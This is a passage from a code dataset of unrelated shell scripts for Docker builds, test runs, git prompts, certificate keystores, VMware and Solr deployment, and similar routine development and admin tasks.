MP_SIZE=$MP_SIZE bash scripts/ds_zero2_pretrain_gpt2XL_model_parallel.sh && \\\n\t\t\t./concat.py | gzip > trace_seq${SEQ_LENGTH}_mp${MP_SIZE}.json.gz\n\tdone\ndone"} {"text": "#!/bin/bash\n\nexport VERSION=$(cat VERSION)\n\n# Run dist tests in client container\ndocker-compose run --rm client nosetests hoststats.disttest --nocapture\n\nRETURN_CODE=$?\n\nif [[ $RETURN_CODE == 0 ]]; then\n echo \"\"\n echo \"Dist tests passed\"\n echo \"\"\nelse\n # Print out all the logs\n docker-compose logs\n\n echo \"\"\n echo \"Dist tests failed\"\n echo \"\"\nfi\n\nexit $RETURN_CODE"} {"text": "bf39l/i3wm_scripts\n#!/bin/sh\n# invert_screen\n#orientation=\"$(xrandr -q | grep \"eDP-1 connected\" | awk '{print $5}')\"\norientation=$(xrandr -q | grep \"eDP-1 connected\" | cut -d '(' -f 1 | grep -wo inverted)\necho $orientation\ndisplay=\"eDP-1\"\nif [ \"$orientation\" = \"inverted\" ]; then\n xrandr --output $display --rotate normal\nelse\n xrandr --output $display --rotate inverted\nfi"} {"text": "#!/bin/bash\n# Copyright the Hyperledger Fabric contributors. All rights reserved.\n#\n# SPDX-License-Identifier: Apache-2.0\n#set -euo pipefail\n\nfor image in ca baseos tools peer orderer nodeenv ccenv javaenv; do\n\tcd \"${ARTIFACT_DIRECTORY}/${image}-docker\"\n\tdocker load -i \"${image}-docker.tgz\"\n\trm -rf *.tgz\ndone"} {"text": "#!/bin/bash\n\necho -e '>> Initiating Install'\n\necho -e '>> Checking for Docker Install and Pulling Image'\nif [ $(command -v docker) ]; then\n docker pull thefynx/vim-go-ide\nelse\n echo -e 'ERROR: Docker not installed or under bin as docker'\n exit 1\nfi\n\necho -e '>> Setting up vimgo command, will require elevated privileges'\n\ncat > /tmp/vimgo <&2\n echo \"\\$usage\" >&2\n exit 1\n ;;\n \\?) printf \"illegal option: -%s\\n\" \"\\$OPTARG\" >&2\n echo \"\\$usage\" >&2\n exit 1\n ;;\n esac\ndone\nshift \\$((OPTIND - 1))\n\nif [ \\$(command -v docker) ]; then\n docker run --rm -tiv \\${WORKPATH}:/project \\${IMAGE} \\${CMDARG}\nelse\n echo -e 'This program requires Docker, please install docker'\nfi\nEOF\n\nchmod +x /tmp/vimgo\n\nsudo su -c \"mv /tmp/vimgo /usr/local/bin/vimgo\"\n\necho -e '>> Setup complete'\necho -e '\\n'\necho -e '>> Run `vimgo -h` for more info'\necho -e '\\n'"} {"text": ".workshop/scripts/delete-workshop.sh\n#!/bin/bash\n\nset -x\nset -eo pipefail\n\nWORKSHOP_NAME=lab-postgres-operator\nJUPYTERHUB_APPLICATION=${JUPYTERHUB_APPLICATION:-postgres-lab}\nJUPYTERHUB_NAMESPACE=`oc project --short`\n\noc delete all --selector build=\"$WORKSHOP_NAME\""} {"text": "docker-build.sh\n#!/bin/sh\ndocker build -t agrimasthana/rpi-deepstream.io:alpha ."} {"text": "0\n#!/bin/bash\ntool=$1 ; inputA=$2\n\nfunction installDeps(){\n\tinputA=$1\n\tdpkg -s $inputA &>/dev/null || { sudo apt-get install -y $inputA ; } && { echo \"$inputA dependancy met\" ; }\n}\nfunction btScan(){\n\tERRORLOG=\"$CWD/bin/btscanerror.txt\"\n\tif [ \"$USER\" == \"root\" ] ; then\n\t\thcitool cc 00:F4:6F:8D:D9:40 &>ERRORLOG\n\t\trssi=$(hcitool rssi 00:F4:6F:8D:D9:40 2>ERRORLOG)\n\t\t# BT Error handler ?\n\t\techo \"$rssi\" | egrep -o '[0-9][0-9]' || echo 0\n\telse \n\t\techo \"root privilages required\" &>ERRORLOG\n\tfi\n}\nfunction networkMap(){\n\techo\n}\nif [ \"$tool\" == \"installDeps\" ] ; then\n\tinstallDeps $inputA\nelif [ \"$tool\" == \"btscan\" ] ; then\n\tbtScan\nelif [ \"$tool\" == \"nmap\" ] ; then\n\tnetworkMap \nfi"} {"text": "#!/bin/sh\n\n# `--user-agent`: Unused, since credentials stored in\n# cookies may depend on the user-agent of the browser\n# that generated them\n#\n# `--span-hosts`: Used if assets stored in different subdomains\n\nset -eux\n\nurl=${1%/}\ncookies_file=${2:-}\nif [ -n \"$cookies_file\" ]; then\n cookies=$(realpath \"$cookies_file\")\n [ -f \"$cookies\" ]\n sed -i 's/#HttpOnly_//g' \"$cookies\"\nelse\n cookies=/dev/null\nfi\nwget \\\n --adjust-extension \\\n --convert-links \\\n -e robots=off \\\n --limit-rate=500k --random-wait --wait=0.5 \\\n --load-cookies \"$cookies\" \\\n --max-redirect=20 \\\n --no-parent \\\n --no-use-server-timestamps \\\n --page-requisites \\\n --span-hosts \\\n --trust-server-names \\\n \"$url\""} {"text": "python eval.py --model log_fc/model-best.pth --infos_path log_fc/infos_fc-best.pkl --image_folder test_images --num_images 2"} {"text": "qdata/72/72.sh\n#!/bin/zsh\necho -e '\\U1F363\\U1F37A'"} {"text": "pepsiduoduo/webapp\n##echo \"Enter your stack name: \"\n##read name\n\naws cloudformation delete-stack --stack-name $1\naws cloudformation wait stack-delete-complete --stack-name $1\necho \"Stack $name deleted!\""} {"text": "probs/hard/build-hard.sh\n#!/bin/sh\nN=4\nwhile [ $N -le $1 ]\ndo\n\t./hardprob $N > hard-$N.prob\n\tN=`expr $N + 1`\ndone"} {"text": "#!/bin/sh\n\ndscl . -mcxdeleteall /\nrm -rf /Library/Managed\\ Preferences"} {"text": "#!/bin/bash\ncd /var/www/nemv/source\ngit pull\nyarn\ncd be\nyarn\ncd ..\ncd fe\nyarn\nyarn build\ncd ..\npm2 start"} {"text": "#!/bin/bash\n\nread -p 'Range begin: ' rangeBegin\nread -p 'Range end: ' rangeEnd\nread -p 'Certificate file: ' fileCert\nread -p 'Private key file: ' fileKey\n\necho\necho Range: $rangeBegin - $rangeEnd\necho Certificate file: $fileCert\necho Private key gile: $fileKey\n\nfor ((x=$rangeBegin; x<=$rangeEnd; x++ ));\ndo\n wget --no-parent --certificate=$fileCert --private-key=$fileKey -r -np https://www.monroe-system.eu/user/$x/\ndone"} {"text": "#!/bin/bash\nrm -fr ./test/tmp/* 2>/dev/null 2>&1;\n#\nnode ./test/assets/generate-test-assets.js 2>&1 | tee ./test/tmp/generate-assets.log;\n#\nscript=\"./test/assets/drtools-test-server.js\";\nif [ \"$1\" == \"koa\" ]; then\n script=\"./test/assets/drtools-test-server.koa.js\";\nfi;\nnohup node $script >./test/tmp/test-server.log 2>&1 &\n#\necho $! > ./test/tmp/PID;"} {"text": "#!/bin/bash\n# $1=file $2=query expression, use this program to prepare voting machine logs for digital analysis of time stamps.\ncat $1 | grep -o [0-2][0-9]:[0-5][0-9]:[0-5][0-9] | sed s/[:]//g > $1.dat\nsort $1.dat > s$1.dat"} {"text": "#!/bin/bash \n#\n\n. ./env\n\n[ \"${1}\" == \"\" ] && echo \"usage: ${0} \" && exit 1\n\n\nif [ -f \"${1}\" ]; then\n\t. ./${COMPUTE_DIR}/\"${1}\"\nelse\n\tSUBNET=$( ./${COMPUTE_DIR}/cpod_ip.sh ${1} )\n\n\t[ $? -ne 0 ] && echo \"error: file or env '${1}' does not exist\" && exit 1\n\n\tCPOD=${1}\n\t. ./${COMPUTE_DIR}/cpod-xxx_env\nfi\n\nVCSA_CONF_FILE=\"/tmp/${$}-vcsa-67.json\"\n\n### update vCSA vars ####\n\nHOSTNAME=${HOSTNAME_VCSA}\nNAME=${NAME_VCSA}\nIP=${IP_VCSA}\n#OVA=${BITS}/VMware-VCSA-all-6.7.0-8546234.iso\nOVA=${BITS}/VMware-VCSA-all-6.7.0-10244745.iso\nTARGET=${TARGET_VCSA}\nDATASTORE=${DATASTORE_VCSA}\nPORTGROUP=${PORTGROUP_VCSA}\n\n###################\n\nSTATUS=$( ping -c 1 ${IP} 2>&1 > /dev/null ; echo $? )\nSTATUS=$(expr $STATUS)\nif [ ${STATUS} == 0 ]; then\n\techo \"Error: Something have the same IP.\"\n\t./extra/post_slack.sh \":wow: Are you sure that VCSA is not already deployed in ${1}. Something have the same @IP.\"\n\texit 1\nfi\n\numount /mnt\nmount -o loop $OVA /mnt\n\nexport PASSWORD=$( ./extra/passwd_for_cpod.sh ${1} )\n\nSEDCMD=\"s/###PASSWORD###/${PASSWORD}/;s!###TARGET###!${TARGET}!;s/###PORTGROUP###/${PORTGROUP}/;s/###DATASTORE###/${DATASTORE}/;s/###IP###/${IP}/;s/###DNS###/${DNS}/;s/###GATEWAY###/${GATEWAY}/;s/###HOSTNAME###/${HOSTNAME}/;s/###NAME###/${NAME}/;s/###PSC###/${HOSTNAME_PSC}/;s/###DOMAIN###/${DOMAIN}/\"\ncat ${COMPUTE_DIR}/vcsa-67.json | sed \"${SEDCMD}\" > ${VCSA_CONF_FILE} \n\n./extra/post_slack.sh \"Deploying a new VCSA for *${1}*. We're working for you, it takes time. Stay tuned...\"\n\npushd /mnt/vcsa-cli-installer/lin64\nROOT=\"/mnt/vcsa-cli-installer/lin64\"\nexport LD_LIBRARY_PATH=$ROOT:$ROOT/openssl-1.0.2l/lib/:$ROOT/libffi-6.0.4/lib/\n./vcsa-deploy.bin install -t --no-ssl-certificate-verification --skip-ovftool-verification --accept-eula --acknowledge-ceip ${VCSA_CONF_FILE} \npopd\n\nsleep 60 \n\nCPOD=\"${1}\"\nCPOD_LOWER=$( echo ${1} | tr '[:upper:]' '[:lower:]' )\nNUMESX=$( ssh root@cpod-${CPOD_LOWER} \"grep esx /etc/hosts | wc -l\" )\n./compute/prep_vcsa.sh ${CPOD} ${NUMESX}\n\nrm ${VCSA_CONF_FILE}\n\n./extra/post_slack.sh \":thumbsup: for cPod *${1}* seems ready!\""} {"text": "mikzorz/gltext10-100\n#!/usr/bin/env bash\n#\n# This script creates the optional x-*-hinting.txt files from fonts that are\n# not checked in for copyright or file size reasons.\n#\n# Run it from this directory (testdata).\n#\n# It has only been tested on an Ubuntu 12.04 system.\n\nset -e\n\n: ${FONTDIR:=/usr/share/fonts/truetype}\n\nln -sf $FONTDIR/droid/DroidSansJapanese.ttf x-droid-sans-japanese.ttf\nln -sf $FONTDIR/msttcorefonts/Arial_Bold.ttf x-arial-bold.ttf \nln -sf $FONTDIR/msttcorefonts/Times_New_Roman.ttf x-times-new-roman.ttf\nln -sf $FONTDIR/ttf-dejavu/DejaVuSans-Oblique.ttf x-deja-vu-sans-oblique.ttf\n\n${CC:=gcc} ../cmd/print-glyph-points/main.c $(pkg-config --cflags --libs freetype2) -o print-glyph-points\n\n# Uncomment these lines to also recreate the luxisr-*-hinting.txt files.\n# ./print-glyph-points 12 luxisr.ttf sans_hinting > luxisr-12pt-sans-hinting.txt\n# ./print-glyph-points 12 luxisr.ttf with_hinting > luxisr-12pt-with-hinting.txt\n\n./print-glyph-points 9 x-droid-sans-japanese.ttf sans_hinting > x-droid-sans-japanese-9pt-sans-hinting.txt\n./print-glyph-points 9 x-droid-sans-japanese.ttf with_hinting > x-droid-sans-japanese-9pt-with-hinting.txt\n./print-glyph-points 11 x-arial-bold.ttf sans_hinting > x-arial-bold-11pt-sans-hinting.txt\n./print-glyph-points 11 x-arial-bold.ttf with_hinting > x-arial-bold-11pt-with-hinting.txt\n./print-glyph-points 13 x-times-new-roman.ttf sans_hinting > x-times-new-roman-13pt-sans-hinting.txt\n./print-glyph-points 13 x-times-new-roman.ttf with_hinting > x-times-new-roman-13pt-with-hinting.txt\n./print-glyph-points 17 x-deja-vu-sans-oblique.ttf sans_hinting > x-deja-vu-sans-oblique-17pt-sans-hinting.txt\n./print-glyph-points 17 x-deja-vu-sans-oblique.ttf with_hinting > x-deja-vu-sans-oblique-17pt-with-hinting.txt\n\nrm print-glyph-points"} {"text": "# vim:ft=zsh ts=2 sw=2 sts=2\n# lborguetti.zsh-theme\n\n# Make git prompt\nfunction prompt_git(){\n local REF=''\n local STATUS=''\n local PROMPT_PREFIX=\"%{$fg_bold[blue]%}git:(%{$fg_bold[red]%}\"\n local PROMPT_SUFFIX=\" %{$reset_color%}\"\n local PROMPT_DIRTY=\"%{$fg_bold[blue]%}) %{$fg_bold[yellow]%}%{$reset_color%}\"\n local PROMPT_CLEAN=\"%{$fg_bold[blue]%})\"\n\n # Get the name of the branch we are on\n if [[ \"$(command git config --get user.name 2>/dev/null)\" != \"1\" ]]; then\n REF=$(command git symbolic-ref HEAD 2>/dev/null) || \\\n REF=$(command git rev-parse --short HEAD 2>/dev/null) || \\\n return 0\n fi\n\n # Checks if working tree is dirty\n STATUS=$(command git status -s 2>/dev/null | tail -n1)\n if [[ -n $STATUS ]]; then\n echo -n \"$PROMPT_PREFIX${REF#refs/heads/}$PROMPT_DIRTY$PROMPT_SUFFIX\"\n else\n echo -n \"$PROMPT_PREFIX${REF#refs/heads/}$PROMPT_CLEAN$PROMPT_SUFFIX\"\n fi\n}\n\n# Show the current working directory\nfunction prompt_context(){\n local CONTEXT_COLOR=\"%{$fg_bold[cyan]%}\"\n\n # %~ The current working directory\n echo -n \"$CONTEXT_COLOR%1~ \"\n}\n\nfunction prompt_end(){\n if [[ \"${USER}x\" = \"rootx\" ]]; then\n echo -n \"%{$fg_bold[red]%}%# %{$reset_color%}\"\n else\n echo -n \"%{$fg_bold[white]%}%# %{$reset_color%}\"\n fi\n}\n\n# Show ok, fail and jobs running\nfunction prompt_status(){\n local SUCCESS='➜'\n local FAULT='✘'\n local RUNNING='⚙'\n local SUCCESS_COLOR=\"%{$fg_bold[green]%}\"\n local FAULT_COLOR=\"%{$fg_bold[red]%}\"\n local RUNNING_COLOR=\"%{$fg_bold[yellow]%}\"\n\n if [[ $RETVAL -ne 0 ]] ; then\n echo -n \"$FAULT_COLOR$FAULT%s %{$reset_color%}\"\n else\n if [[ $(jobs -l | wc -l) -gt 0 ]]; then\n echo -n \"$RUNNING_COLOR$RUNNING%s %{$reset_color%}\"\n else\n echo -n \"$SUCCESS_COLOR$SUCCESS%s %{$reset_color%}\"\n fi\n fi\n}\n\n## Main Prompt\nBUILD_PROMPT(){\n RETVAL=$?\n prompt_status\n prompt_context\n prompt_git\n prompt_end\n}\n\nPROMPT='$(BUILD_PROMPT)'"} {"text": "0\n#!/bin/bash\n\nVCF=$1\n\nNCOL=$(grep \"^#CHROM\" $VCF | awk '{print NF}')\n\nfor NC in $(seq 10 $NCOL); do\n SAMPLE_NAME=$(grep \"^#CHROM\" $VCF | cut -f $NC)\n SAMPLE_OUT_VCF=${VCF%.SMuRF.filtered.vcf}_${SAMPLE_NAME}.SMuRF.filtered.vcf\n grep -P \"^##\" $VCF > $SAMPLE_OUT_VCF\n grep -P \"^#CHROM\" $VCF | cut -f -9,$NC >> $SAMPLE_OUT_VCF\n grep -P \";CLONAL_SAMPLE_NAMES([=\\w-,]+|=)$SAMPLE_NAME[,\\s;]+\" $VCF | grep -P \"PASS_QC_SAMPLE_NAMES([=\\w-,]+|=)$SAMPLE_NAME[,\\s;]+\" | cut -f -9,$NC >> $SAMPLE_OUT_VCF\ndone"} {"text": "#!/usr/bin/env bash\n\nset -e\nset -u\nset -o pipefail\n\nROOTDIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/..\" && pwd)\"\nreadonly ROOTDIR\n\n# shellcheck source=SCRIPTDIR/.util/tools.sh\nsource \"${ROOTDIR}/scripts/.util/tools.sh\"\n\n# shellcheck source=SCRIPTDIR/.util/tools.sh\nsource \"${ROOTDIR}/scripts/.util/tools.sh\"\n\nfunction main() {\n local src\n src=\"$(find \"${ROOTDIR}/src\" -mindepth 1 -maxdepth 1 -type d )\"\n\n util::tools::ginkgo::install --directory \"${ROOTDIR}/.bin\"\n util::tools::buildpack-packager::install --directory \"${ROOTDIR}/.bin\"\n\n ginkgo \\\n -r \\\n -mod vendor \\\n -skipPackage brats,integration \\\n \"${src}/...\"\n}\n\nmain \"${@:-}\""} {"text": "aestasit/talks2017-gr8confeu-dockerized-java-setup\n\ndocker run --rm -it \\\n -d \\\n --name=knock-knock-server2 \\\n --net=knock-knock \\\n knock-knock-server"} {"text": "mkdir -p tmp/pids\nbundle exec rake environment resque:work QUEUE=post_receive,mailer,system_hook RAILS_ENV=production PIDFILE=tmp/pids/resque_worker.pid BACKGROUND=yes"} {"text": "milanof-huma/pre-commit0\n#!/usr/bin/env bash\n\nset -e\n\n# OSX GUI apps do not pick up environment variables the same way as Terminal apps and there are no easy solutions,\n# especially as Apple changes the GUI app behavior every release (see https://stackoverflow.com/q/135688/483528). As a\n# workaround to allow GitHub Desktop to work, add this (hopefully harmless) setting here.\nexport PATH=$PATH:/usr/local/bin\n\n# Store and return last failure from fmt so this can validate every directory passed before exiting\nFMT_ERROR=0\n\nfor file in \"$@\"; do\n terraform fmt \"$file\" || FMT_ERROR=$?\ndone\n\nexit ${FMT_ERROR}"} {"text": "#!/bin/sh\n# A simple script to run bundle install\n\ncase $RAILS_VERSION in\n 4.2)\n RAILS_VERSION=4.2 bundle _1.17.3_ install --jobs=3 --retry=3\n ;;\n *)\n bundle install --jobs=3 --retry=3\n ;;\nesac"} {"text": "0\n#!/bin/sh\n\n# Set the COUCHDBURL environment variable\n\n#export COUCHDBURL=http://localhost:5984/cloudbox\n[ \"x\" == \"x${COUCHDBURL}\" ] && exit 1\n\n#export DTFCURL=http://localhost:8080/dtfc\n[ \"x\" == \"x${DTFCURL}\" ] && exit 1\n\n# Expect arg\n[ \"x\" == \"x$1\" ] && exit 1\n\n# Expect arg to be folder\nFOLDER=\"$1\"\n[ ! -d \"${FOLDER}\" ] && exit 1\n\necho \"${FOLDER}\"\n\n# Now call parse-and-upload-file for every file\nfind \"${FOLDER}\" -maxdepth 3 -type f -exec sh parse-and-upload-file-dtfc.sh {} \\;"} {"text": "10-100\n#!/bin/sh\n\nset -euo >/dev/null\n\ngit add pact_broker/Gemfile.lock\n\nif [ -n \"${RELEASED_GEM_NAME}\" ] && [ -n \"${RELEASED_GEM_VERSION}\" ]; then\n git commit -m \"feat(deps): update ${RELEASED_GEM_NAME} gem to version ${RELEASED_GEM_VERSION}\n\n[ci-skip]\n\"\nelse\n updated_gems=$(git diff --staged pact_broker/Gemfile.lock | grep '^+' | grep '(' | sed -e \"s/+ *//\" | paste -sd \",\" - | sed -e 's/,/, /g')\n git commit -m \"feat(deps): update to ${updated_gems}\n\n[ci-skip]\n\"\nfi\n\ngit push"} {"text": "1-10\ndocker run -v $(pwd):/replace replace bash -c \"echo Tests are not ready yet!\""} {"text": "#!/bin/bash\n\n# Colors\n# ######\nESC=\"\\033\"\nDULL=0\nBRIGHT=1\nNORMAL_COLOR=\"\\[$ESC[m\\]\"\n\n##\n# Shortcuts for Colored Text ( Bright and FG Only )\n##\n# DULL TEXT\nBLACK=\"\\[$ESC[${DULL};30m\\]\"\nRED=\"\\[$ESC[${DULL};31m\\]\"\nGREEN=\"\\[$ESC[${DULL};32m\\]\"\nYELLOW=\"\\[$ESC[${DULL};33m\\]\"\nBLUE=\"\\[$ESC[${DULL};34m\\]\"\nVIOLET=\"\\[$ESC[${DULL};35m\\]\"\nCYAN=\"\\[$ESC[${DULL};36m\\]\"\nWHITE=\"\\[$ESC[${DULL};37m\\]\"\n\n# BRIGHT TEXT\nBRIGHT_BLACK=\"\\[$ESC[${BRIGHT};30m\\]\"\nBRIGHT_RED=\"\\[$ESC[${BRIGHT};31m\\]\"\nBRIGHT_GREEN=\"\\[$ESC[${BRIGHT};32m\\]\"\nBRIGHT_YELLOW=\"\\[$ESC[${BRIGHT};33m\\]\"\nBRIGHT_BLUE=\"\\[$ESC[${BRIGHT};34m\\]\"\nBRIGHT_VIOLET=\"\\[$ESC[${BRIGHT};35m\\]\"\nBRIGHT_CYAN=\"\\[$ESC[${BRIGHT};36m\\]\"\nBRIGHT_WHITE=\"\\[$ESC[${BRIGHT};37m\\]\"\n\ngit=`which git`\n\ngit_current_branch() {\n branch=(\"$($git symbolic-ref HEAD 2>/dev/null | awk -F/ {'print $NF'})\")\n\n if [[ $branch != \"\" ]]; then\n remote=(\"$($git config branch.$branch.remote | tr -d '\\n')\")\n if [[ $remote != \"\" ]]; then\n echo \" on $(color_value $remote/$branch $BRIGHT_CYAN)\"\n else\n echo \" on $(color_value $branch $BRIGHT_CYAN)\"\n fi\n else\n hash=(\"$($git rev-parse --short HEAD)\")\n echo \" on $(color_value $hash $BRIGHT_YELLOW)\"\n fi\n}\n\ngit_stashes() {\n stash=$($git stash list 2>/dev/null | wc -l | tr -d \" \")\n if [[ $stash == \"0\" ]]\n then\n echo \"\"\n else\n echo \" {$(color_value $stash $BRIGHT_CYAN)}\"\n fi\n}\n\ncolor_value() {\n if [[ $1 == \"0\" ]]; then\n echo $1\n else\n echo $2$1$NORMAL_COLOR\n fi\n}\n\ngit_untracked_changed_staged() {\n git_status=\"$($git status --porcelain --untracked-files=all | tr \" \" \".\" | cut -c1-2)\"\n untracked=0\n changed=0\n staged=0\n for line in $git_status\n do\n if [[ \"$line\" =~ [MADRC][MD.] ]]; then\n (( staged = $staged + 1 ))\n fi\n\n if [[ $line =~ \\?\\? ]]; then\n (( untracked = $untracked + 1 ))\n elif [[ $line =~ [MADRC.][MD] ]]; then\n (( changed = $changed + 1 ))\n fi\n done\n\n if [[ $untracked == 0 && $changed == 0 && $staged == 0 ]];then\n echo \"\"\n else\n echo \" $(color_value $untracked $BRIGHT_RED):$(color_value $changed $BRIGHT_RED):$(color_value $staged $BRIGHT_RED)\"\n fi\n}\n\ngit_dirty() {\n st=$($git status 2>/dev/null | tail -n 1)\n if [[ $st == \"\" ]]\n then\n echo \"\"\n else\n echo \"$(git_current_branch)$(git_stashes)$(git_untracked_changed_staged)$(git_commits)\"\n fi\n}\n\ngit_commits() {\n branch=(\"$($git symbolic-ref HEAD 2>/dev/null | awk -F/ {'print $NF'})\")\n remote=(\"$($git config branch.$branch.remote | tr -d '\\n')\")\n\n if [[ $remote == \"\" ]]\n then\n echo \"\"\n else\n behind=$($git rev-list --left-right --count @{upstream}...$branch | awk {'print $1'})\n ahead=$($git rev-list --left-right --count @{upstream}...$branch | awk {'print $2'})\n if [[ $ahead == \"0\" && $behind == \"0\" ]]\n then\n echo \"\"\n else\n echo -n \" [\"\n if [[ $behind != \"0\" ]]\n then\n echo -n \"-$(color_value $behind $BRIGHT_CYAN)\"\n if [[ $ahead != \"0\" ]]\n then\n echo -n \"/\"\n fi\n fi\n if [[ $ahead != \"0\" ]]\n then\n echo -n \"+$(color_value $ahead $BRIGHT_CYAN)\"\n fi\n echo -n \"]\"\n fi\n fi\n}\n\nlocation() {\n if [[ $VAULTED_ENV == \"\" ]]\n then\n echo \"$(color_value `whoami` $BRIGHT_CYAN)\"\n else\n echo \"$(color_value `whoami` $BRIGHT_CYAN):$(color_value $VAULTED_ENV $BRIGHT_RED)\"\n fi\n}\n\ndirectory_name() {\n echo \"$(color_value `pwd` $BRIGHT_GREEN)\"\n}\n\nprompt_command() {\n export PS1=\"[$(location):$(directory_name)]$(git_dirty)\\n$ \"\n}\n\nPROMPT_COMMAND=prompt_command\n\n#"} {"text": "#!/usr/bin/env bash\n#\n# This source file is subject to the MIT License that is bundled\n# with this package in the MIT license.\n\nCURRENT_DIR=$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\nTRAVIS_BUILD_DIR=\"${TRAVIS_BUILD_DIR:-$(dirname $(dirname $CURRENT_DIR))}\"\n\nsource ${TRAVIS_BUILD_DIR}/build-ci/install_php_common.sh\nsource ${TRAVIS_BUILD_DIR}/build-ci/install_php_7.sh\n\ninstall_ssh2"} {"text": "lukspa/docker-elasticsearch\n#!/bin/bash\n\nrm -f $NODE_NAME-keystore.jks\nrm -f $NODE_NAME.csr\nrm -f $NODE_NAME-signed.pem\n\necho Generating keystore and certificate for node $NODE_NAME\n\nkeytool -genkey \\\n -alias $NODE_NAME \\\n -keystore $NODE_NAME-keystore.jks \\\n -keyalg RSA \\\n -keysize 2048 \\\n -validity 712 \\\n -sigalg SHA256withRSA \\\n -keypass $KS_PWD \\\n -storepass $KS_PWD \\\n -dname \"CN=$NODE_NAME, OU=SSL, C=COM\" \\\n -ext san=dns:$NODE_NAME,dns:localhost,ip:127.0.0.1,oid:192.168.127.12.5.5\n\n#oid:192.168.127.12.5.5 denote this a server node certificate for search guard\n\necho Generating certificate signing request for node $NODE_NAME\n\nkeytool -certreq \\\n -alias $NODE_NAME \\\n -keystore $NODE_NAME-keystore.jks \\\n -file $NODE_NAME.csr \\\n -keyalg rsa \\\n -keypass $ \\\n -storepass $PWD \\\n -dname \"CN=$NODE_NAME, OU=SSL, C=COM\" \\\n -ext san=dns:$NODE_NAME,dns:localhost,ip:127.0.0.1,oid:192.168.127.12.5.5\n\n#oid:192.168.127.12.5.5 denote this a server node certificate for search guard\n\necho Sign certificate request with CA\nopenssl ca \\\n -in $NODE_NAME.csr \\\n -notext \\\n -out $NODE_NAME-signed.pem \\\n -config etc/signing-ca.conf \\\n -extensions v3_req \\\n -batch \\\n\t-passin pass:$CA_PWD \\\n\t-extensions server_ext\n\necho \"Import back to keystore (including CA chain)\"\n\ncat ca/chain-ca.pem $NODE_NAME-signed.pem | keytool \\\n -importcert \\\n -keystore $NODE_NAME-keystore.jks \\\n -storepass $ \\\n -noprompt \\\n -alias $NODE_NAME\n\nkeytool -importkeystore -srckeystore $NODE_NAME-keystore.jks -srcstorepass $ -srcstoretype JKS -deststoretype PKCS12 -deststorepass $ -destkeystore $NODE_NAME-keystore.p12\n\necho All done for $NODE_NAME"} {"text": "python3 main.py -c config.yaml -d sr_24000_mel_norm -train_set train_128 -train_index_file train_samples_128.json -store_model_path vctk_model -iters 500000 -summary_step 500 > train.log 2>&1"} {"text": "kdf-leierkasten/libopusjs\n#!/bin/bash\n\nfunction on_exit_with_error {\n echo \"Build script failed because one of the commands exited with an error.\"\n# rm libopus.js libopus.wasm\n}\n\nset -e\ntrap on_exit_with_error ERR\n\n# Move into directory of the script first as it assumes cwd\ncd \"$( cd -- \"$(dirname \"$0\")\" >/dev/null 2>&1 ; pwd -P )\"\n\n# Create build dir\nmkdir -p build\ncd build\n\n# If opus does not exist, build it\nif [ ! -d opus ]; then\n # Get source\n git clone https://github.com/xiph/opus.git opus\n cd opus\n git checkout tags/v1.2.1\n rm -rf .git\n\n # Build\n ./autogen.sh\n emconfigure ./configure --disable-rtcd --disable-intrinsics --disable-shared --enable-static\n emmake make -j\"$(nproc)\"\n\n cd ..\nfi\n\n# Build libopusjs\nem++ ../api.cpp -Iopus/include -Lopus/.libs -lopus --pre-js ../preapi.js --post-js ../api.js -O3 -s WASM=1 -s ALLOW_MEMORY_GROWTH=1 --memory-init-file 0 -s EXPORTED_FUNCTIONS=\"['_free', '_malloc']\" -o libopus.js\n\n# Insert fix to work with typescript.\n# This is for documentation purposes, might not work forever.\n# In case libopus.js changes significantly, the grep command will kill the script because of set -e\nto_replace_regex='if\\(Module\\[\"ENVIRONMENT\"]!==\"NODE\"\\)libopus=Module;$'\ngrep -E \"$to_replace_regex\" libopus.js > /dev/null 2>&1\nsed -i -E \"s/$to_replace_regex/const libopus=Module;export{libopus}/\" libopus.js"} {"text": "if [ -z $2 ]\nthen\n make\n if [ $1 == \"all\" ] || [ $1 == \"ALL\" ]\n then\n ./a.out 0\n ./a.out 1\n ./a.out 2\n ./a.out 3\n ./a.out 4\n ./a.out 5\n ./a.out 6\n ./a.out 7\n ./a.out 8\n ./a.out 9\n ./a.out 10\n ./a.out 11\n ./a.out 12\n ./a.out 13\n ./a.out 14\n ./a.out 15\n else\n ./a.out $1\n fi\nelse\n make $1\n if [ $2 == \"all\" ] || [ $2 == \"ALL\" ]\n then\n ./a.out 0\n ./a.out 1\n ./a.out 2\n ./a.out 3\n ./a.out 4\n ./a.out 5\n ./a.out 6\n ./a.out 7\n ./a.out 8\n ./a.out 9\n ./a.out 10\n ./a.out 11\n ./a.out 12\n ./a.out 13\n ./a.out 14\n ./a.out 15\n else\n ./a.out $2\n fi\nfi"} {"text": "gbif/checklistbank\nSOLR_HOME=$1\nAVRO_TABLE=$2\nZK_HOST=$3\nOUT_HDFS_DIR=$4\nSOLR_COLLECTION=$5\nSOLR_COLLECTION_OPTS=$6\nHADOOP_CLIENT_OPTSP=$7\nMAP_RED_OPTS=$8\nSOLR_HTTP_URL=$9\n\n#sets up HADOOP_CLASSPATH and HADOOP_LIBJAR\nsource $SOLR_HOME/server/scripts/map-reduce/set-map-reduce-classpath.sh\nexport HADOOP_CLIENT_OPTS=\"$HADOOP_CLIENT_OPTSP $HADOOP_CLIENT_OPTS\"\nexport HADOOP_USER_CLASSPATH_FIRST=true\necho \"HADOOP_CLASSPATH\" $HADOOP_CLASSPATH\necho \"HADOOP_LIBJAR\" $HADOOP_LIBJAR\n\nSOLR_COLLECTION_TODAY=$SOLR_COLLECTION\"_\"$(date +\"%Y_%m_%d\")\n\necho \"Delete todays collection $SOLR_COLLECTION_TODAY if existing\"\ncurl -s \"\"\"$SOLR_HTTP_URL\"/admin/collections?action=DELETE\\&name=\"$SOLR_COLLECTION_TODAY\"\"\"\n\necho \"Copy configs for $SOLR_COLLECTION_TODAY to ZK\"\n$SOLR_HOME/server/scripts/cloud-scripts/zkcli.sh -zkhost $ZK_HOST -cmd upconfig -confname $SOLR_COLLECTION_TODAY -confdir solr/checklistbank/conf/\n\necho \"Create new collection $SOLR_COLLECTION_TODAY\"\ncurl -s \"\"\"$SOLR_HTTP_URL\"/admin/collections?action=CREATE\\&name=\"$SOLR_COLLECTION_TODAY\"\\&\"$SOLR_COLLECTION_OPTS\"\\&collection.configName=\"$SOLR_COLLECTION_TODAY\"\"\"\n\n\necho \"Build $SOLR_COLLECTION_TODAY\"\nhadoop --config /etc/hadoop/conf/ jar $SOLR_HOME/dist/solr-map-reduce-*.jar $MAP_RED_OPTS -D 